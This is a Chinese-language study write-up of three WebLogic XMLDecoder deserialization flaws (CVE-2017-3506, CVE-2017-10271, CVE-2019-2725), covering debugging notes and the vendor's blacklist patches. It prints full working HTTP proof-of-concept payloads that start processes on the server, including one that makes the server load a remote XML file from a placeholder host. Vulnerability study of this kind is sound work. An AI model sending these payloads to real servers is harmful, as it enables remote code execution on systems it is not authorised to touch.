内容简介:鉴于 @男壹号 大哥的建议,为之前写的一个扫描器又增加了几个POC,顺带学习了下weblogic的几个xmldecoder反序列化漏洞。由于之前没有本地调试过weblogic的经验,走了不少弯路,也踩了不少坑。安装和调试的过程可以看。这是一个java中的类,并不是Weblogic特有的,类的位置为
鉴于 @男壹号 大哥的建议,为之前写的一个扫描器又增加了几个POC,顺带学习了下weblogic的几个xmldecoder反序列化漏洞。
- CVE-2017-3506
- CVE-2017-10271
- CVE-2019-2725
由于之前没有本地调试过weblogic的经验,走了不少弯路,也踩了不少坑。安装和调试的过程可以看。
XMLDecoder
这是一个 java 中的类,并不是Weblogic特有的,类的位置为 java.beans.XMLDecoder
个人理解就是将一个描述java操作的XML文件转换为实际的java操作代码,也类似于一种反序列化的操作,只是载体变成了XML文件。(可能不咋准确
举个栗子
poc.xml
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1" >
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
然后我们利用 XMLDecoder 类对其进行反序列化操作
public class Main {
public static void main(String[] args) {
String path = "src/poc.xml";
try {
XMLDecode_Deserialize(path);
} catch (Exception e) {
e.printStackTrace();
}
}
private static void XMLDecode_Deserialize(String path) throws Exception {
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xd = new XMLDecoder(bis);
xd.readObject();
xd.close();
}
}
运行之后可以发现,执行了 java.lang.ProcessBuilder("calc").start() 的操作。
XML文件里的描述也正是对于执行这样一段代码的描述(或者说序列化),通过XMLDecoder反序列化之后执行了这段代码。
对于具体XMLDecoder的执行流程,能力有限,本菜就稍微跟着看了下,就不班门弄斧了,感兴趣的可以看。
CVE-2017-3506
这里测试的Weblogic版本为 10.3.6
漏洞触发的POC
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 495
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1" >
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
关于漏洞触发点在 https://xz.aliyun.com/t/1848 中提到
对于poc中uri中 /wls-wsat/CoordinatorPortType 可以换成CoordinatorPortType11等wsat 这个webservice服务中存在的其他uri
动态调试
断点打在 weblogic.wsee.workarea WorkContextXmlInputAdapter 的 readUTF() ,可以看到对应调用的堆栈信息
来到 weblogic.wsee.jaxws.workcontext 的 processRequest
可以看到传入的 var1 就是POST的XML内容,类型为一个 Packet
然后通过
HeaderList var2 = var1.getMessage().getHeaders(); Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
获取到了 var3 并传入到了 this.readHeaderOld(var3); 方法中
再到 readHeaderOld 中可以看到 var4 的值正是之前XML数据中的java标签代码
通过 var4 生成了 var6 的 WorkContextXmlInputAdapter 类,最后调用到了其 readUTF() 方法,从而进行了 XMLDecoder.readObject() 的反序列化。
漏洞补丁
由于本人也不知道怎么拿到weblogic的补丁,于是只能参考别的师傅文章中给出的补丁
这次的补丁在 WorkContextXmlInputAdapter 中添加了 validate 的验证,很明显的黑名单验证
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
可以看到限制了 Object 标签,从而限制通过XML来构造类。也正是因为这样的黑名单限制,所以很快就出了 CVE-2017-10271
CVE-2017-10271
这个漏洞存粹就是对上一个漏洞补丁的绕过。直接来看下POC
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 708
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
可以看到唯一的变化就是把之前的 Object 标签变成了 void 标签,就轻松的绕过了之前的补丁。
至于为什么可以的原因在那篇分析XMLDecoder原理的文章中也提到了 https://xz.aliyun.com/t/5069
这里我也稍微看了下,主要的原因可以通过继承关系看到, VoidElementHandler 类继承了 ObjectElementsHandler 类,并且没有重写 addAttribute 方法,所有调用时依旧是调用到 ObjectElementsHandler 中的方法,也就导致了 void 标签和 object 的标签都可以生成一个类。
这回的补丁依旧是黑名单的形式,限制了不少的标签
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
CVE-2019-2725
这个洞时隔两年之后才被放出来
POST /_async/AsyncResponseService HTTP/1.1 Host: localhost:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/xml Content-Length: 728 Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ== Connection: close Upgrade-Insecure-Requests: 1 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <class> <string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string> <void> <string>http://xxxx</string> </void> </class> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body> </soapenv:Envelope>
可以看到这回是利用 class 标签构造类,但是由于限制了 method 从而无法调用函数,因此,找了几个可以通过构造函数进行反序列化的类。网上通用的有
FileSystemXmlApplicationContext UnitOfWorkChangeSet
至于漏洞的修复,也是一如既往的黑名单,限制的更为严格了。
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
由于能力有限,过多的思考和总结这里也就暂时谈不上,目前只当作学习了。不知这种黑名单的防御方式下一次被绕过会是在什么时候。
References
以上所述就是小编给大家介绍的《Weblogic XMLDecoder反序列化学习》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Cyberwar
Kathleen Hall Jamieson / Oxford University Press / 2018-10-3 / USD 16.96
The question of how Donald Trump won the 2016 election looms over his presidency. In particular, were the 78,000 voters who gave him an Electoral College victory affected by the Russian trolls and hac......一起来看看 《Cyberwar》 这本书的介绍吧!